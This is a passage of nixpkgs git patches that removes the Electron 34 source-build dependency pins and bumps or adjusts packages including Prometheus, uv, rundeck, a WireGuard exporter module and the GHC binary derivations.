-            },
-            "src/third_party/squirrel.mac": {
-                "args": {
-                    "hash": "sha256-4GfKQg0u3c9GI+jl3ixESNqWXQJKRMi+00QT0s2Shqw=",
-                    "owner": "Squirrel",
-                    "repo": "Squirrel.Mac",
-                    "rev": "0e5d146ba13101a1302d59ea6e6e0b3cace4ae38"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/third_party/squirrel.mac/vendor/Mantle": {
-                "args": {
-                    "hash": "sha256-ogFkMJybf2Ue606ojXJu6Gy5aXSi1bSKm60qcTAIaPk=",
-                    "owner": "Mantle",
-                    "repo": "Mantle",
-                    "rev": "78d3966b3c331292ea29ec38661b25df0a245948"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/third_party/squirrel.mac/vendor/ReactiveObjC": {
-                "args": {
-                    "hash": "sha256-/MCqC1oFe3N9TsmfVLgl+deR6qHU6ZFQQjudb9zB5Mo=",
-                    "owner": "ReactiveCocoa",
-                    "repo": "ReactiveObjC",
-                    "rev": "74ab5baccc6f7202c8ac69a8d1e152c29dc1ea76"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/third_party/swiftshader": {
-                "args": {
-                    "hash": "sha256-h2BHyaOM0oscfX5cu8s4N1yyOkg/yQbvwD1DxF+RAQc=",
-                    "rev": "d5c4284774115bb1e32c012a2be1b5fbeb1ab1f9",
-                    "url": "https://swiftshader.googlesource.com/SwiftShader.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/text-fragments-polyfill/src": {
-                "args": {
-                    "hash": "sha256-4rW2u1cQAF4iPWHAt1FvVXIpz2pmI901rEPks/w/iFA=",
-                    "rev": "c036420683f672d685e27415de0a5f5e85bdc23f",
-                    "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/tflite/src": {
-                "args": {
-                    "hash": "sha256-gOUt/NljRK5wMFwy2aLqZ5NHwk4y/GxbQ+AZ3MxM0M8=",
-                    "rev": "658227d3b535287dc6859788bde6076c4fe3fe7c",
-                    "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ukey2/src": {
-                "args": {
-                    "hash": "sha256-aaLs6ZS+CdBlCJ6ZhsmdAPFxiBIij6oufsDcNeRSV1E=",
-                    "rev": "0275885d8e6038c39b8a8ca55e75d1d4d1727f47",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/ukey2.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan-deps": {
-                "args": {
-                    "hash": "sha256-LVWvbMLjkMyAUM+0UpQ4oRsfcRU5F/xY60wiwxth4Ko=",
-                    "rev": "0b56dd5952b25fad65139b64096fcd187048ed38",
-                    "url": "https://chromium.googlesource.com/vulkan-deps"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan-headers/src": {
-                "args": {
-                    "hash": "sha256-exXzafLgrgxyRvaF+4pCF+OLtPT2gDmcvzazQ4EQ1eA=",
-                    "rev": "cbcad3c0587dddc768d76641ea00f5c45ab5a278",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan-loader/src": {
-                "args": {
-                    "hash": "sha256-NDp2TLeMLAHb92R+PjaPDTx8ckIlpSsS3BNx3lerB68=",
-                    "rev": "b0177a972b8d47e823a4500cf88df88a8c27add7",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan-tools/src": {
-                "args": {
-                    "hash": "sha256-PiWKL045DAOGm+Hl/UyO6vmD4fVfuf2fSvXK6gSYbwo=",
-                    "rev": "15f2de809304aba619ee327f3273425418ca83de",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan-utility-libraries/src": {
-                "args": {
-                    "hash": "sha256-luDw6g/EMSK67Et2wNta74PHGQU6Y7IRpDlSpgDYV6Q=",
-                    "rev": "87ab6b39a97d084a2ef27db85e3cbaf5d2622a09",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan-validation-layers/src": {
-                "args": {
-                    "hash": "sha256-WWV+P++0Czeqg5p2UTqIP81pY8oz7cS7E7Z/sc0km6g=",
-                    "rev": "bc2c38412f739c298d6f5c076c064e6b5696959f",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/vulkan_memory_allocator": {
-                "args": {
-                    "hash": "sha256-YzxHZagz/M8Y54UnI4h1wu5jSTuaOgv0ifC9d3fJZlQ=",
-                    "rev": "56300b29fbfcc693ee6609ddad3fdd5b7a449a21",
-                    "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/wayland-protocols/gtk": {
-                "args": {
-                    "hash": "sha256-75XNnLkF5Lt1LMRGT+T61k0/mLa3kkynfN+QWvZ0LiQ=",
-                    "rev": "40ebed3a03aef096addc0af09fec4ec529d882a0",
-                    "url": "https://chromium.googlesource.com/external/github.com/GNOME/gtk.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/wayland-protocols/kde": {
-                "args": {
-                    "hash": "sha256-Dmcp/2ms/k7NxPPmPkp0YNfM9z2Es1ZO0uX10bc7N2Y=",
-                    "rev": "0b07950714b3a36c9b9f71fc025fc7783e82926e",
-                    "url": "https://chromium.googlesource.com/external/github.com/KDE/plasma-wayland-protocols.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/wayland-protocols/src": {
-                "args": {
-                    "hash": "sha256-o/adWEXYSqWib6KoK7XMCWbojapcS4O/CEPxv7iFCw8=",
-                    "rev": "7d5a3a8b494ae44cd9651f9505e88a250082765e",
-                    "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland-protocols.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/wayland/src": {
-                "args": {
-                    "hash": "sha256-oK0Z8xO2ILuySGZS0m37ZF0MOyle2l8AXb0/6wai0/w=",
-                    "rev": "a156431ea66fe67d69c9fbba8a8ad34dabbab81c",
-                    "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/webdriver/pylib": {
-                "args": {
-                    "hash": "sha256-WIqWXIKVgElgg8P8laLAlUrgwodGdeVcwohZxnPKedw=",
-                    "rev": "fc5e7e70c098bfb189a9a74746809ad3c5c34e04",
-                    "url": "https://chromium.googlesource.com/external/github.com/SeleniumHQ/selenium/py.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/webgl/src": {
-                "args": {
-                    "hash": "sha256-32r3BdmsNA89mo0k+vK1G3718AOjseE7cJlopZ/0pSw=",
-                    "rev": "450cceb587613ac1469c5a131fac15935c99e0e7",
-                    "url": "https://chromium.googlesource.com/external/khronosgroup/webgl.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/webgpu-cts/src": {
-                "args": {
-                    "hash": "sha256-Dd5uWNtnBIc2jiMkh9KjI5O1tJtmMvdlMA2nf+VOkQQ=",
-                    "rev": "b9f32fd2943dd2b3d0033bf938c9d843f4b5c9a9",
-                    "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/webrtc": {
-                "args": {
-                    "hash": "sha256-S8kGTd3+lf5OTayCMOqqrjxH4tcbT0NLZBpKmTCysMs=",
-                    "rev": "afaf497805cbb502da89991c2dcd783201efdd08",
-                    "url": "https://webrtc.googlesource.com/src.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/weston/src": {
-                "args": {
-                    "hash": "sha256-y2srFaPUOoB2umzpo4+hFfhNlqXM2AoMGOpUy/ZSacg=",
-                    "rev": "ccf29cb237c3ed09c5f370f35239c93d07abfdd7",
-                    "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/weston.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/wuffs/src": {
-                "args": {
-                    "hash": "sha256-373d2F/STcgCHEq+PO+SCHrKVOo6uO1rqqwRN5eeBCw=",
-                    "rev": "e3f919ccfe3ef542cfc983a82146070258fb57f8",
-                    "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/xdg-utils": {
-                "args": {
-                    "hash": "sha256-WuQ9uDq+QD17Y20ACFGres4nbkeOiTE2y+tY1avAT5U=",
-                    "rev": "cb54d9db2e535ee4ef13cc91b65a1e2741a94a44",
-                    "url": "https://chromium.googlesource.com/chromium/deps/xdg-utils.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/xnnpack/src": {
-                "args": {
-                    "hash": "sha256-aDPlmLxNY9M5+Qb8VtdfxphHXU/X6JwYhkUSXkLh/FE=",
-                    "rev": "d1d33679661a34f03a806af2b813f699db3004f9",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/zstd/src": {
-                "args": {
-                    "hash": "sha256-4J/F2v2W3mMdhqQ4q35gYkGaqTKlcG6OxUt3vQ8pcLs=",
-                    "rev": "7fb5347e88f10472226c9aa1962a148e55d8c480",
-                    "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/tools/page_cycler/acid3": {
-                "args": {
-                    "hash": "sha256-s/49EaYQRsyxuLejXc1zGDYTD7uO0ddaQIJBP50Bvw0=",
-                    "rev": "a926d0a32e02c4c03ae95bb798e6c780e0e184ba",
-                    "url": "https://chromium.googlesource.com/chromium/deps/acid3.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/v8": {
-                "args": {
-                    "hash": "sha256-o+THwG/lBFw495DxAckGPeoiTV5zOopVF4B3MXmraf0=",
-                    "rev": "7130a7a08a7075cc1967528402ec536f6fd85ed2",
-                    "url": "https://chromium.googlesource.com/v8/v8.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            }
-        },
-        "electron_yarn_hash": "0gh5bcsh23s3rqxqc2l3jz5vjb553sk0a1jycn94zm821pc3csd2",
-        "modules": "132",
-        "node": "20.19.1",
-        "version": "34.5.8"
-    },
     "35": {
         "chrome": "134.0.6998.205",
         "chromium": {
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 04ab45ad4fdf..df056bca5c49 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6971,11 +6971,7 @@ with pkgs;
     ;
 
   electron_33 = electron_33-bin;
-  electron_34 =
-    if lib.meta.availableOn stdenv.hostPlatform electron-source.electron_34 then
-      electron-source.electron_34
-    else
-      electron_34-bin;
+  electron_34 = electron_34-bin;
   electron_35 =
     if lib.meta.availableOn stdenv.hostPlatform electron-source.electron_35 then
       electron-source.electron_35

From 13877297e798017678bf60d00b583dc0c7aa51fd Mon Sep 17 00:00:00 2001
From: Jeevan Shikaram <jshikaram@anduril.com>
Date: Wed, 25 Jun 2025 18:13:45 +1000
Subject: [PATCH 1829/4511] nixos/prometheus-wireguard-exporter: Add a new
 option to export `wireguard_latest_handshake_delay_seconds`.

(cherry picked from commit b10dabd00922911f39909b935504754407533987)
---
 .../monitoring/prometheus/exporters/wireguard.nix        | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix b/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix
index 4c9269f34cfd..f091aac2347d 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix
@@ -62,6 +62,14 @@ in
         Whether or not the remote IP of a WireGuard peer should be exposed via prometheus.
       '';
     };
+
+    latestHandshakeDelay = mkOption {
+      type = types.bool;
+      default = false;
+      description = ''
+        Adds the `wireguard_latest_handshake_delay_seconds` metric that automatically calculates the seconds passed since the last handshake.
+      '';
+    };
   };
   serviceOpts = {
     path = [ pkgs.wireguard-tools ];
@@ -76,6 +84,7 @@ in
           ${optionalString cfg.verbose "-v true"} \
           ${optionalString cfg.singleSubnetPerField "-s true"} \
           ${optionalString cfg.withRemoteIp "-r true"} \
+          ${optionalString cfg.latestHandshakeDelay "-d true"} \
           ${optionalString (cfg.wireguardConfig != null) "-n ${escapeShellArg cfg.wireguardConfig}"}
       '';
       RestrictAddressFamilies = [

From fa645578068cbc9ddaa27e7bcca9ef9e9ad4c9db Mon Sep 17 00:00:00 2001
From: Gautier DI FOLCO <gautier.difolco@gmail.com>
Date: Mon, 25 Nov 2024 01:15:17 +0100
Subject: [PATCH 1830/4511] nixos/prometheus.alertmanagerIrcRelay: fix
 network-online.target ordering but not depending warning

(cherry picked from commit c689716d48cfa92995ccee73e04cef402ac13965)
---
 .../services/monitoring/prometheus/alertmanager-irc-relay.nix    | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/modules/services/monitoring/prometheus/alertmanager-irc-relay.nix b/nixos/modules/services/monitoring/prometheus/alertmanager-irc-relay.nix
index c0268941dde7..a5659c3bfbd9 100644
--- a/nixos/modules/services/monitoring/prometheus/alertmanager-irc-relay.nix
+++ b/nixos/modules/services/monitoring/prometheus/alertmanager-irc-relay.nix
@@ -58,6 +58,7 @@ in
 
       wantedBy = [ "multi-user.target" ];
       after = [ "network-online.target" ];
+      wants = [ "network-online.target" ];
 
       serviceConfig = {
         ExecStart = ''

From 0472f66c98425ce164bc1a014dafb5608bbff84a Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Sat, 31 May 2025 22:52:09 +0000
Subject: [PATCH 1831/4511] prometheus: 3.1.0 -> 3.4.1

Diff: https://github.com/prometheus/prometheus/compare/refs/tags/v3.1.0...refs/tags/v3.4.1
(cherry picked from commit f70058dca67c21cbd086bf20f139d1f5a402f4ce)
---
 pkgs/by-name/pr/prometheus/package.nix | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pr/prometheus/package.nix b/pkgs/by-name/pr/prometheus/package.nix
index f7985edd5f61..10466580c2a7 100644
--- a/pkgs/by-name/pr/prometheus/package.nix
+++ b/pkgs/by-name/pr/prometheus/package.nix
@@ -33,7 +33,7 @@
 
 buildGoModule (finalAttrs: {
   pname = "prometheus";
-  version = "3.1.0";
+  version = "3.4.1";
 
   outputs = [
     "out"
@@ -45,18 +45,19 @@ buildGoModule (finalAttrs: {
     owner = "prometheus";
     repo = "prometheus";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Q3f0L6cRVQRL1AHgUI3VNbMG9eTfcApbXfSjOTHr7Go=";
+    hash = "sha256-qF4yXBNAdcndwbXEmDPIhG16agvhqKUVB9ajOsvpgrg=";
   };
 
-  vendorHash = "sha256-vQwBnSxoyIYTeWLk3GD9pKDuUjjsMfwPptgyVnzcTok=";
+  vendorHash = "sha256-edR9vvSNexRR8EGEiSCIIYl3ndGckS8XuIWojPrq60U=";
 
   webUiStatic = fetchurl {
     url = "https://github.com/prometheus/prometheus/releases/download/v${finalAttrs.version}/prometheus-web-ui-${finalAttrs.version}.tar.gz";
-    hash = "sha256-05DaaDIFtADnkLFqdHe5eUvo6LRz6BduMvGVmzOeurM=";
+    hash = "sha256-GBKjrmlQi+DHtbKICc3pO8IMVdu3IUXh/DTwvd/ArWE=";
   };
 
   excludedPackages = [
     "documentation/prometheus-mixin"
+    "internal/tools"
     "web/ui/mantine-ui/src/promql/tools"
   ];
 

From 69e9afded68ae2df6dde2ddd9d857eaac0360c3d Mon Sep 17 00:00:00 2001
From: Tom Herbers <mail@tomherbers.de>
Date: Fri, 27 Jun 2025 10:43:51 +0200
Subject: [PATCH 1832/4511] prometheus: 3.4.1 -> 3.4.2

Release Notes: https://github.com/prometheus/prometheus/releases/tag/v3.4.2

(cherry picked from commit 2a93e8d76360ff21eb457a72f2bef9889a93aa79)
---
 pkgs/by-name/pr/prometheus/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pr/prometheus/package.nix b/pkgs/by-name/pr/prometheus/package.nix
index 10466580c2a7..fc2d581a1b54 100644
--- a/pkgs/by-name/pr/prometheus/package.nix
+++ b/pkgs/by-name/pr/prometheus/package.nix
@@ -33,7 +33,7 @@
 
 buildGoModule (finalAttrs: {
   pname = "prometheus";
-  version = "3.4.1";
+  version = "3.4.2";
 
   outputs = [
     "out"
@@ -45,14 +45,14 @@ buildGoModule (finalAttrs: {
     owner = "prometheus";
     repo = "prometheus";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-qF4yXBNAdcndwbXEmDPIhG16agvhqKUVB9ajOsvpgrg=";
+    hash = "sha256-/JeT8+I/jNE7O2YT9qfu7RF3xculPyR3rRrFQIG4YV4=";
   };
 
   vendorHash = "sha256-edR9vvSNexRR8EGEiSCIIYl3ndGckS8XuIWojPrq60U=";
 
   webUiStatic = fetchurl {
     url = "https://github.com/prometheus/prometheus/releases/download/v${finalAttrs.version}/prometheus-web-ui-${finalAttrs.version}.tar.gz";
-    hash = "sha256-GBKjrmlQi+DHtbKICc3pO8IMVdu3IUXh/DTwvd/ArWE=";
+    hash = "sha256-3aXP79aeA/qe99sVsJn0nNRggrzFWTmaRO3dBzOR6UU=";
   };
 
   excludedPackages = [

From ec6625e7afb7c89651f7348781901d6a45e861ad Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Wed, 25 Jun 2025 18:45:57 +0200
Subject: [PATCH 1833/4511] appium-inspector: use electron_36

(cherry picked from commit 310dda67329a0a09c4a7b419de6222fa826a06ee)
---
 pkgs/by-name/ap/appium-inspector/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ap/appium-inspector/package.nix b/pkgs/by-name/ap/appium-inspector/package.nix
index ad157375150f..c8df903297b5 100644
--- a/pkgs/by-name/ap/appium-inspector/package.nix
+++ b/pkgs/by-name/ap/appium-inspector/package.nix
@@ -2,7 +2,7 @@
   lib,
   buildNpmPackage,
   copyDesktopItems,
-  electron_34,
+  electron_36,
   fetchFromGitHub,
   makeDesktopItem,
   makeWrapper,
@@ -10,7 +10,7 @@
 }:
 
 let
-  electron = electron_34;
+  electron = electron_36;
   version = "2025.3.1";
 in
 

From 0dbb5bd4707d4954ff78c2e7221b43baa023a793 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Mon, 30 Jun 2025 09:38:11 +0200
Subject: [PATCH 1834/4511] rundeck: 5.12.0 -> 5.13.0

(cherry picked from commit e0a2615997529a925a46737c950f53255907815f)
---
 pkgs/by-name/ru/rundeck/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ru/rundeck/package.nix b/pkgs/by-name/ru/rundeck/package.nix
index 93a77617a353..12da62d4f0f2 100644
--- a/pkgs/by-name/ru/rundeck/package.nix
+++ b/pkgs/by-name/ru/rundeck/package.nix
@@ -12,11 +12,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rundeck";
-  version = "5.12.0-20250512";
+  version = "5.13.0-20250625";
 
   src = fetchurl {
     url = "https://packagecloud.io/pagerduty/rundeck/packages/java/org.rundeck/rundeck-${finalAttrs.version}.war/artifacts/rundeck-${finalAttrs.version}.war/download?distro_version_id=167";
-    hash = "sha256-LsKxMj+XCKTAMC3aIRnJcJkc2jytfTfu/gi0omGkMEk=";
+    hash = "sha256-RqyJ0/gZQ1gIYSPoYfGGN5VB5ubUMl00pHPlw6v6tBQ=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From e2d9617895e25c54c38f0ceba5c50d40fcb22210 Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Thu, 26 Jun 2025 19:29:17 +0200
Subject: [PATCH 1835/4511] tclPackages.rl_json: 0.15.2 -> 0.15.3

Diff: https://github.com/RubyLane/rl_json/compare/0.15.2...0.15.3
(cherry picked from commit 11c5ba8107f031783f337967f92c29895c24319e)
---
 pkgs/development/tcl-modules/by-name/rl/rl_json/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tcl-modules/by-name/rl/rl_json/package.nix b/pkgs/development/tcl-modules/by-name/rl/rl_json/package.nix
index 7a10f70c8d5d..fd67dfc347f9 100644
--- a/pkgs/development/tcl-modules/by-name/rl/rl_json/package.nix
+++ b/pkgs/development/tcl-modules/by-name/rl/rl_json/package.nix
@@ -8,13 +8,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rl_json";
-  version = "0.15.2";
+  version = "0.15.3";
 
   src = fetchFromGitHub {
     owner = "RubyLane";
     repo = "rl_json";
     rev = finalAttrs.version;
-    hash = "sha256-y62N4DK80baJx7tQ562ZWOEpKcDldKS1pEwR7NpzuZQ=";
+    hash = "sha256-JyJBf8lMrO/P5grOMojqs1PRoMPRsPWGQYS33eB7bRI=";
     fetchSubmodules = true;
   };
 

From 26c2cd98df371cb0c7f7b61a1c2eb995bab6e4ad Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 29 Jun 2025 23:00:16 +0800
Subject: [PATCH 1836/4511] uv: 0.7.16 -> 0.7.17

(cherry picked from commit f3ac88ccdfc40ddd0d1d96a15faa08d17fed6312)
---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 40f01a772b35..167ae1338065 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.16";
+  version = "0.7.17";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-E9tFjJwV+zDOxsFdDeX6D8DqD0zFNW8kryeY9FmA63U=";
+    hash = "sha256-XZ0wlnj76iWgK6jvckI+bSo75PFKAbqUm6jLBKt9+ys=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Eg4YVqKxjYEPS67qnc0y1Tuy6HAFEy6rCjr7/ZXF3yE=";
+  cargoHash = "sha256-imcz/qzq2p9mwDjaqVzIvz7QY0Hte/WSBNNcLa5Njv0=";
 
   buildInputs = [
     rust-jemalloc-sys

From 64b7deda51245a77d14e7d72dc09ea6febdedfe9 Mon Sep 17 00:00:00 2001
From: NotAShelf <raf@notashelf.dev>
Date: Fri, 27 Jun 2025 15:47:11 +0300
Subject: [PATCH 1837/4511] webcord-vencord: bump electron to `electron_36`

(cherry picked from commit ac91c7554d357364d5c9cf633bc88c0d470713cf)
---
 pkgs/top-level/all-packages.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 04ab45ad4fdf..bde9461f6546 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -14553,7 +14553,7 @@ with pkgs;
 
   webcord = callPackage ../by-name/we/webcord/package.nix { electron = electron_36; };
 
-  webcord-vencord = callPackage ../by-name/we/webcord-vencord/package.nix { electron = electron_34; };
+  webcord-vencord = callPackage ../by-name/we/webcord-vencord/package.nix { electron = electron_36; };
 
   webmacs = libsForQt5.callPackage ../applications/networking/browsers/webmacs {
     stdenv = if stdenv.cc.isClang then gccStdenv else stdenv;

From 1423e0325a43f16fbc9c9d2b16d2fa3893447ee7 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Tue, 27 May 2025 14:49:07 +0200
Subject: [PATCH 1838/4511] haskell.compiler.ghc*Binary: detect -lnuma based on
 library list

This is more robust when new bindists are added to expressions since no
additional conditional needs to be updated.

(cherry picked from commit 3c3fef04a2180000b1ce537b08d3f80e991c959b)
---
 pkgs/development/compilers/ghc/8.10.7-binary.nix | 15 ++++++++++-----
 pkgs/development/compilers/ghc/9.2.4-binary.nix  | 15 ++++++++++-----
 pkgs/development/compilers/ghc/9.6.3-binary.nix  | 15 ++++++++++-----
 pkgs/development/compilers/ghc/9.8.4-binary.nix  | 15 ++++++++++-----
 4 files changed, 40 insertions(+), 20 deletions(-)

diff --git a/pkgs/development/compilers/ghc/8.10.7-binary.nix b/pkgs/development/compilers/ghc/8.10.7-binary.nix
index 40becff83767..9ad461fc03f4 100644
--- a/pkgs/development/compilers/ghc/8.10.7-binary.nix
+++ b/pkgs/development/compilers/ghc/8.10.7-binary.nix
@@ -342,12 +342,17 @@ stdenv.mkDerivation {
           -exec sed -i "s@extra-lib-dirs: @extra-lib-dirs: ${libiconv}/lib@" {} \;
     ''
     +
-      # aarch64 does HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
+      # Some platforms do HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
       # FFI_LIB_DIR is a good indication of places it must be needed.
-      lib.optionalString (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) ''
-        find . -name package.conf.in \
-            -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
-      ''
+      lib.optionalString
+        (
+          lib.meta.availableOn stdenv.hostPlatform numactl
+          && builtins.any ({ nixPackage, ... }: nixPackage == numactl) binDistUsed.archSpecificLibraries
+        )
+        ''
+          find . -name package.conf.in \
+              -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
+        ''
     +
       # Rename needed libraries and binaries, fix interpreter
       lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/development/compilers/ghc/9.2.4-binary.nix b/pkgs/development/compilers/ghc/9.2.4-binary.nix
index 88b25c420632..6641deada776 100644
--- a/pkgs/development/compilers/ghc/9.2.4-binary.nix
+++ b/pkgs/development/compilers/ghc/9.2.4-binary.nix
@@ -311,12 +311,17 @@ stdenv.mkDerivation {
                     -i {} \;
     ''
     +
-      # aarch64 does HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
+      # Some platforms do HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
       # FFI_LIB_DIR is a good indication of places it must be needed.
-      lib.optionalString (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) ''
-        find . -name package.conf.in \
-            -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
-      ''
+      lib.optionalString
+        (
+          lib.meta.availableOn stdenv.hostPlatform numactl
+          && builtins.any ({ nixPackage, ... }: nixPackage == numactl) binDistUsed.archSpecificLibraries
+        )
+        ''
+          find . -name package.conf.in \
+              -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
+        ''
     +
       # Rename needed libraries and binaries, fix interpreter
       lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/development/compilers/ghc/9.6.3-binary.nix b/pkgs/development/compilers/ghc/9.6.3-binary.nix
index 73cdc3019418..ed9fb0a0e458 100644
--- a/pkgs/development/compilers/ghc/9.6.3-binary.nix
+++ b/pkgs/development/compilers/ghc/9.6.3-binary.nix
@@ -297,12 +297,17 @@ stdenv.mkDerivation {
                     -i {} \;
     ''
     +
-      # aarch64 does HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
+      # Some platforms do HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
       # FFI_LIB_DIR is a good indication of places it must be needed.
-      lib.optionalString (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) ''
-        find . -name package.conf.in \
-            -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
-      ''
+      lib.optionalString
+        (
+          lib.meta.availableOn stdenv.hostPlatform numactl
+          && builtins.any ({ nixPackage, ... }: nixPackage == numactl) binDistUsed.archSpecificLibraries
+        )
+        ''
+          find . -name package.conf.in \
+              -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
+        ''
     +
       # Rename needed libraries and binaries, fix interpreter
       lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/development/compilers/ghc/9.8.4-binary.nix b/pkgs/development/compilers/ghc/9.8.4-binary.nix
index db48cfe430fd..2064b87fc8d0 100644
--- a/pkgs/development/compilers/ghc/9.8.4-binary.nix
+++ b/pkgs/development/compilers/ghc/9.8.4-binary.nix
@@ -311,12 +311,17 @@ stdenv.mkDerivation {
                     -i {} \;
     ''
     +
-      # aarch64 does HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
